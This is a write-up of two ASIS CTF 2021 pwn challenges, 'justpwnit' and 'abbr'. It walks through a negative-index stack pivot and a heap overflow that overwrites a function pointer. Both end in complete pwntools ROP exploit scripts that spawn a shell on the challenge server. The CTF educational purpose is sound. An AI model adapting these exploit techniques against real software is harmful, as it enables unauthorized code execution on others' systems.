Hello folks ! Here is a write up for the two first pwn challenges of the ASIS CTF. You can find the related files here.

justpwnit

justpwnit was a warmup pwn challenge. That’s only a basic stack overflow. The binary is statically linked and here is the checksec’s output:

[*] '/home/nasm/justpwnit'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Morever the source code is provided as it is the case for all the pwn tasks ! Here it is:

/*
 * musl-gcc main.c -o chall -no-pie -fno-stack-protector -O0 -static
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define STR_SIZE 0x80

void set_element(char **parray) {
  int index;
  printf("Index: ");
  if (scanf("%d%*c", &index) != 1)
    exit(1);
  if (!(parray[index] = (char*)calloc(sizeof(char), STR_SIZE)))
    exit(1);
  printf("Data: ");
  if (!fgets(parray[index], STR_SIZE, stdin))
    exit(1);
}

void justpwnit() {
  char *array[4];
  for (int i = 0; i < 4; i++) {
    set_element(array);
  }
}

int main() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(180);
  justpwnit();
  return 0;
}

The program is basically reading STR_SIZE bytes into parray[index], the issue is that there is no check on the user controlled index from which we choose were write the input. Furthermore, index is a signed integer, which means we can input a negative value. If we do so we will be able to overwrite the saved $rbp value of the set_element stackframe by a heap pointer to our input. By this way at the end of the pwninit, the leave instruction will pivot the stack from the original state to a pointer to the user input.

Let’s see this in gdb !

00:0000│ rsp     0x7ffef03864e0 ◂— 0x0                                                                                                                                                         
01:0008│         0x7ffef03864e8 —▸ 0x7ffef0386520 ◂— 0xb4                                                                                                                                      
02:0010│         0x7ffef03864f0 ◂— 0x0
03:0018│         0x7ffef03864f8 ◂— 0xfffffffe00403d3f /* '?=@' */
04:0020│         0x7ffef0386500 ◂— 0x0
05:0028│         0x7ffef0386508 —▸ 0x40123d (main) ◂— endbr64 
06:0030│ rbx rbp 0x7ffef0386510 —▸ 0x7ffef0386550 —▸ 0x7ffef0386560 ◂— 0x1
07:0038│         0x7ffef0386518 —▸ 0x40122f (justpwnit+33) ◂— add    dword ptr [rbp - 4], 1
08:0040│ rax     0x7ffef0386520 ◂— 0xb4
09:0048│         0x7ffef0386528 ◂— 0x0
... ↓            4 skipped
0e:0070│         0x7ffef0386550 —▸ 0x7ffef0386560 ◂— 0x1
0f:0078│         0x7ffef0386558 —▸ 0x401295 (main+88) ◂— mov    eax, 0

That’s the stack’s state when we are calling calloc. We can see the set_element’s stackframe which ends up in $rsp+38 with the saved return address. And right after we see that $rax contains the address of the parray buffer. Which means that if we send -2 as index, $rbp will point to the newly allocated buffer to which we will write right after with fgets.

Then, if we do so, the stack’s state looks like this:

00:0000│ rsp     0x7ffef03864e0 ◂— 0x0                                                                                                                                                         
01:0008│         0x7ffef03864e8 —▸ 0x7ffef0386520 ◂— 0xb4                                                                                                                                      
02:0010│         0x7ffef03864f0 ◂— 0x0                                                                                                                                                         
03:0018│         0x7ffef03864f8 ◂— 0xfffffffe00403d3f /* '?=@' */                                                                                                                              
04:0020│         0x7ffef0386500 ◂— 0x0                                                                                                                                                         
05:0028│         0x7ffef0386508 —▸ 0x40123d (main) ◂— endbr64                                                                                                                                  
06:0030│ rbx rbp 0x7ffef0386510 —▸ 0x7f2e4aea1050 ◂— 0x0                                                                                                                                       
07:0038│         0x7ffef0386518 —▸ 0x40122f (justpwnit+33) ◂— add    dword ptr [rbp - 4], 1                                                                                                    
08:0040│         0x7ffef0386520 ◂— 0xb4                                                                                                                                                        
09:0048│         0x7ffef0386528 ◂— 0x0                                                                                                                                                         
... ↓            4 skipped                                                                                                                                                                     
0e:0070│         0x7ffef0386550 —▸ 0x7ffef0386560 ◂— 0x1                                                                                                                                       
0f:0078│         0x7ffef0386558 —▸ 0x401295 (main+88) ◂— mov    eax, 0                                                                                                                         

The saved $rbp has been overwritten with a pointer to the user input. Then, at the end of the set_element function, $rbp is popped from the stack and contains a pointer to the user input. Which causes at the end of the justpwnit function, the leave instruction moves the pointer to the user input in $rsp.

ROPchain

Once we can pivot the stack to makes it point to some user controlled areas, we just have to rop through all the gadgets we can find in the binary. The binary is statically linked, and there is no system function in the binary, so we can’t make a ret2system, we have to make a execve("/bin/sh\0", NULL, NULL).

And so what we need is:

  • pop rdi gadget
  • pop rsi gadget
  • pop rdx gadget
  • pop rax gadget
  • syscall gadget
  • mov qword ptr [reg], reg [to write “/bin/sh\0”] in a writable area

We can easily find these gadgets with the help ROPgadget. We got:

0x0000000000406c32 : mov qword ptr [rax], rsi ; ret
0x0000000000401001 : pop rax ; ret
0x00000000004019a3 : pop rsi ; ret
0x00000000004013e9 : syscall
0x0000000000403d23 : pop rdx ; ret
0x0000000000401b0d : pop rdi ; ret

Now we just have to craft the ropchain !

POP_RDI = 0x0000000000401b0d
POP_RDX = 0x0000000000403d23
SYSCALL = 0x00000000004013e9
POP_RAX = 0x0000000000401001
POP_RSI = 0x00000000004019a3

MOV_RSI_PTR_RAX = 0x0000000000406c32
PT_LOAD_W = 0x00000000040c240

pld = pwn.p64(0) + pwn.p64(POP_RSI) + b"/bin/sh\x00"
pld += pwn.p64(POP_RAX) + pwn.p64(PT_LOAD_W)
pld += pwn.p64(MOV_RSI_PTR_RAX)
pld += pwn.p64(POP_RAX) + pwn.p64(0x3b)
pld += pwn.p64(POP_RDI) + pwn.p64(PT_LOAD_W)
pld += pwn.p64(POP_RSI) + pwn.p64(0)
pld += pwn.p64(POP_RDX) + pwn.p64(0x0)
pld += pwn.p64(SYSCALL)

And we can enjoy the shell !

➜  justpwnit git:(master) ✗ python3 exploit.py HOST=168.119.108.148 PORT=11010
[*] '/home/nasm/pwn/asis2021/justpwnit/justpwnit'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 168.119.108.148 on port 11010: Done
[*] Switching to interactive mode
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag-69a1f60d8055c88ea27fed1ab926b2b6.txt
$ cat flag-69a1f60d8055c88ea27fed1ab926b2b6.txt
ASIS{p01nt_RSP_2_h34p!_RHP_1n5t34d_0f_RSP?}

Full exploit

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfinit

import os
import time
import pwn


# Set up pwntools for the correct architecture
exe  = pwn.context.binary = pwn.ELF('justpwnit')
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False

host = pwn.args.HOST
port = int(pwn.args.PORT or 1337)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)
gdbscript = '''
source /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/Downloads/pwndbg/gdbinit.py
set follow-fork-mode parent
b* main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
io.sendlineafter(b"Index: ", b"-2")

# 0x0000000000406c32 : mov qword ptr [rax], rsi ; ret
# 0x0000000000401001 : pop rax ; ret
# 0x00000000004019a3 : pop rsi ; ret
# 0x00000000004013e9 : syscall
# 0x0000000000403d23 : pop rdx ; ret
# 0x0000000000401b0d : pop rdi ; ret

POP_RDI = 0x0000000000401b0d
POP_RDX = 0x0000000000403d23
SYSCALL = 0x00000000004013e9
POP_RAX = 0x0000000000401001
POP_RSI = 0x00000000004019a3

MOV_RSI_PTR_RAX = 0x0000000000406c32

PT_LOAD_W = 0x00000000040c240

pld = pwn.p64(0) + pwn.p64(POP_RSI) + b"/bin/sh\x00"
pld += pwn.p64(POP_RAX) + pwn.p64(PT_LOAD_W)
pld += pwn.p64(MOV_RSI_PTR_RAX)
pld += pwn.p64(POP_RAX) + pwn.p64(0x3b)
pld += pwn.p64(POP_RDI) + pwn.p64(PT_LOAD_W)
pld += pwn.p64(POP_RSI) + pwn.p64(0)
pld += pwn.p64(POP_RDX) + pwn.p64(0x0)
pld += pwn.p64(SYSCALL)

io.sendlineafter(b"Data: ", pld)

io.interactive()

abbr

abbr is very basic heap overflow, we just have to overwrite a function pointer to a stack pivot gadget with the help of a user controlled register. Then, we can drop a shell with a similar ROP as for the justpwnit challenge (the binary is also statically linked without the system function).

Here is the source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <ctype.h>
#include "rules.h"

typedef struct Translator {
  void (*translate)(char*);
  char *text;
  int size;
} Translator;

void english_expand(char *text) {
  int i, alen, blen;
  Rule *r;
  char *p, *q;
  char *end = &text[strlen(text)-1]; // pointer to the last character

  /* Replace all abbreviations */
  for (p = text; *p; ++p) {
    for (i = 0; i < sizeof(rules) / sizeof(Rule); i++) {
      r = &rules[i];
      alen = strlen(r->a);
      blen = strlen(r->b);
      if (strncasecmp(p, r->a, alen) == 0) {
        // i.e "i'm pwn noob." --> "i'm pwn XXnoob."
        for (q = end; q > p; --q)
          *(q+blen-alen) = *q;
        // Update end
        end += blen-alen;
        *(end+1) = '\0';
        // i.e "i'm pwn XXnoob." --> "i'm pwn newbie."
        memcpy(p, r->b, blen);
      }
    }
  }
}

Translator *translator_new(int size) {
  Translator *t;

  /* Allocate region for text */
  char *text = (char*)calloc(sizeof(char), size);
  if (text == NULL)
    return NULL;

  /* Initialize translator */
  t = (Translator*)malloc(sizeof(Translator));
  t->text = text;
  t->size = size;
  t->translate = english_expand;

  return t;
}

void translator_reset(Translator *t) {
  memset(t->text, 0, t->size);
}

int main() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);

  Translator *t = translator_new(0x1000);
  while (1) {
    /* Input data */
    translator_reset(t);
    printf("Enter text: ");
    fgets(t->text, t->size, stdin);
    if (t->text[0] == '\n')
      break;

    /* Expand abbreviation */
    t->translate(t->text);
    printf("Result: %s", t->text);
  }

  return 0;
}

The rules.h looks like this:

typedef struct {
  char *a; // abbreviated string (i.e "asap")
  char *b; // expanded string (i.e "as soon as possible")
} Rule;

// Why are there so many abbreviations in English!!?? :exploding_head:
Rule rules[] =
  {
   {.a="2f4u", .b="too fast for you"},
   {.a="4yeo", .b="for your eyes only"},
   {.a="fyeo", .b="for your eyes only"},
   {.a="aamof", .b="as a matter of fact"},
   {.a="afaik", .b="as far as i know"},
   {.a="afk", .b="away from keyboard"},
   {.a="aka", .b="also known as"},
   {.a="b2k", .b="back to keyboard"},
   {.a="btk", .b="back to keyboard"},
   {.a="btt", .b="back to topic"},
   {.a="btw", .b="by the way"},
   {.a="b/c", .b="because"},
   {.a="c&p", .b="copy and paste"},
   {.a="cys", .b="check your settings"},
   {.a="diy", .b="do it yourself"},
   {.a="eobd", .b="end of business day"},
   {.a="faq", .b="frequently asked questions"},
   {.a="fka", .b="formerly known as"},
   {.a="fwiw", .b="for what it's worth"},
   {.a="fyi", .b="for your information"},
   {.a="jfyi", .b="just for your information"},
   {.a="hf", .b="have fun"},
   {.a="hth", .b="hope this helps"},
   {.a="idk", .b="i don't know"},
   {.a="iirc", .b="if i remember correctly"},
   {.a="imho", .b="in my humble opinion"},
   {.a="imo", .b="in my opinion"},
   {.a="imnsho", .b="in my not so humble opinion"},
   {.a="iow", .b="in other words"},
   {.a="itt", .b="in this thread"},
   {.a="dgmw", .b="don't get me wrong"},
   {.a="mmw", .b="mark my words"},
   {.a="nntr", .b="no need to reply"},
   {.a="noob", .b="newbie"},
   {.a="noyb", .b="none of your business"},
   {.a="nrn", .b="no reply necessary"},
   {.a="otoh", .b="on the other hand"},
   {.a="rtfm", .b="read the fine manual"},
   {.a="scnr", .b="sorry, could not resist"},
   {.a="sflr", .b="sorry for late reply"},
   {.a="tba", .b="to be announced"},
   {.a="tbc", .b="to be continued"},
   {.a="tia", .b="thanks in advance"},
   {.a="tq", .b="thank you"},
   {.a="tyvm", .b="thank you very much"},
   {.a="tyt", .b="take your time"},
   {.a="ttyl", .b="talk to you later"},
   {.a="wfm", .b="works for me"},
   {.a="wtf", .b="what the fuck"},
   {.a="wrt", .b="with regard to"},
   {.a="ymmd", .b="you made my day"},
   {.a="icymi", .b="in case you missed it"},
   // pwners abbreviations
   {.a="rop ", .b="return oriented programming "},
   {.a="jop ", .b="jump oriented programming "},
   {.a="cop ", .b="call oriented programming "},
   {.a="aar", .b="arbitrary address read"},
   {.a="aaw", .b="arbitrary address write"},
   {.a="www", .b="write what where"},
   {.a="oob", .b="out of bounds"},
   {.a="ret2", .b="return to "},
  };

The main stuff is in english_expand function which is looking for an abreviation in the user input. If it finds the abbreviation, all the data after the occurence will be written further according to the length of the full expression. The attack idea is fairly simple, the text variable is allocated right before the Translator structure, and so in the heap they will be contiguous. Given that, we know that if we send 0x1000 bytes in the chunk contained by text and that we put an abbreviation of the right length we can overwrite the translate function pointer.

I will not describe in details how we can find the right size for the abbreviation or the length off the necessary padding. An interesting abbreviation is the www, which stands for “write what where” (what a nice abbreviation for a pwner lmao), indeed the expanded expression has a length of 16 bytes. So we send b"wwwwww" + b"A"*(0x1000-16) + pwn.p64(gadget), we will overflow the 32 first bytes next the text chunk, and in this rewrite the translator function pointer.

ROPchain

Once that’s done, when the function pointer will be triggered at the next iteration, we will be able to jmp at an arbitrary location. Lets take a look at the values of the registers when we trigger the function pointer:

 RAX  0x1ee8bc0 —▸ 0x4018da (init_cacheinfo+234) ◂— pop    rdi
 RBX  0x400530 (_IO_getdelim.cold+29) ◂— 0x0
 RCX  0x459e62 (read+18) ◂— cmp    rax, -0x1000 /* 'H=' */
*RDX  0x405121 (_nl_load_domain+737) ◂— xchg   eax, esp
 RDI  0x1ee8bc0 —▸ 0x4018da (init_cacheinfo+234) ◂— pop    rdi
 RSI  0x4c9943 (_IO_2_1_stdin_+131) ◂— 0x4cc020000000000a /* '\n' */
 R8   0x1ee8bc0 —▸ 0x4018da (init_cacheinfo+234) ◂— pop    rdi
 R9   0x0
 R10  0x49e522 ◂— 'Enter text: '
 R11  0x246
 R12  0x4030e0 (__libc_csu_fini) ◂— endbr64 
 R13  0x0
 R14  0x4c9018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x44fd90 (__strcpy_avx2) ◂— endbr64 
 R15  0x0
 RBP  0x7ffdef1b8230 —▸ 0x403040 (__libc_csu_init) ◂— endbr64 
 RSP  0x7ffdef1b8220 ◂— 0x0
 RIP  0x402036 (main+190) ◂— call   rdx

$rax points to the newly readen input, same for $r8 and $rdi and $rdx contains the location to which we will jmp on. So we can search gadgets like mov rsp, rax, mov rsp, rdi, mov rsp, r8 and so on. But I didn’t find any gadgets like that, so I looked for xchg rsp gadgets, and I finally found a xchg eax, esp gadgets ! Since the binary is not PIE based, the heap addresses fit into a 32 bits register, so that’s perfect!

Now we can make $rsp to point to the user input, we make a similar ropchain as the last challenge, and that’s enough to get a shell!


# 0x00000000004126e3 : call qword ptr [rax]
# 0x0000000000485fd2 : xchg eax, ebp ; ret
# 0x0000000000405121 : xchg eax, esp ; ret

pld = b"wwwwww"
pld += b"A"*(0x1000-16) + pwn.p64(0x0000000000405121)
io.sendlineafter("Enter text: ", pld)

# 0x000000000045a8f7 : pop rax ; ret
# 0x0000000000404cfe : pop rsi ; ret
# 0x00000000004018da : pop rdi ; ret
# 0x00000000004017df : pop rdx ; ret
# 0x000000000045684f : mov qword ptr [rdi], rsi ; ret

DATA_SEC = 0x0000000004c90e0
POP_RDI = 0x00000000004018da
POP_RSI = 0x0000000000404cfe
POP_RAX = 0x000000000045a8f7
POP_RDX = 0x00000000004017df
MOV_PTR_RDI_RSI = 0x000000000045684f
SYSCALL = 0x00000000004012e3 # syscall

pld = pwn.p64(POP_RDI)
pld += pwn.p64(DATA_SEC)
pld += pwn.p64(POP_RSI)
pld += b"/bin/sh\x00"
pld += pwn.p64(MOV_PTR_RDI_RSI)
pld += pwn.p64(POP_RSI)
pld += pwn.p64(0x0)
pld += pwn.p64(POP_RDX)
pld += pwn.p64(0x0)
pld += pwn.p64(POP_RAX)
pld += pwn.p64(0x3b)
pld += pwn.p64(SYSCALL)

We launch the script with the right arguments and we correctly pop a shell!

➜  abbr.d git:(master) ✗ python3 exploit.py HOST=168.119.108.148 PORT=10010 
[*] '/home/nasm/pwn/asis2021/abbr.d/abbr'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 168.119.108.148 on port 10010: Done
/home/nasm/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag-5db495dbd5a2ad0c090b1cc11e7ee255.txt
$ cat flag-5db495dbd5a2ad0c090b1cc11e7ee255.txt
ASIS{d1d_u_kn0w_ASIS_1s_n0t_4n_4bbr3v14t10n}

Final exploit

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfinit

import os
import time
import pwn


# Set up pwntools for the correct architecture
exe  = pwn.context.binary = pwn.ELF('abbr')
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False

host = pwn.args.HOST or '127.0.0.1'
port = int(pwn.args.PORT or 1337)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

gdbscript = '''
source /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/Downloads/pwndbg/gdbinit.py
b* 0x402036
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

# 000000000048ac90    80 FUNC    GLOBAL DEFAULT    7 _dl_make_stack_executable
# 0x0000000000422930 : add rsp, 0x10 ; pop rbp ; ret

# 0x00000000004126e3 : call qword ptr [rax]
# 0x0000000000485fd2 : xchg eax, ebp ; ret
# 0x0000000000405121 : xchg eax, esp ; ret

pld = b"wwwwww"
pld += b"A"*(0x1000-16) + pwn.p64(0x0000000000405121)
io.sendlineafter("Enter text: ", pld)

# 0x000000000045a8f7 : pop rax ; ret
# 0x0000000000404cfe : pop rsi ; ret
# 0x00000000004018da : pop rdi ; ret
# 0x00000000004017df : pop rdx ; ret
# 0x000000000045684f : mov qword ptr [rdi], rsi ; ret

DATA_SEC = 0x0000000004c90e0
POP_RDI = 0x00000000004018da
POP_RSI = 0x0000000000404cfe
POP_RAX = 0x000000000045a8f7
POP_RDX = 0x00000000004017df
MOV_PTR_RDI_RSI = 0x000000000045684f
SYSCALL = 0x00000000004012e3 # syscall

pld = pwn.p64(POP_RDI)
pld += pwn.p64(DATA_SEC)
pld += pwn.p64(POP_RSI)
pld += b"/bin/sh\x00"
pld += pwn.p64(MOV_PTR_RDI_RSI)
pld += pwn.p64(POP_RSI)
pld += pwn.p64(0x0)
pld += pwn.p64(POP_RDX)
pld += pwn.p64(0x0)
pld += pwn.p64(POP_RAX)
pld += pwn.p64(0x3b)
pld += pwn.p64(SYSCALL)

io.sendlineafter("Enter text: ", pld)
io.interactive()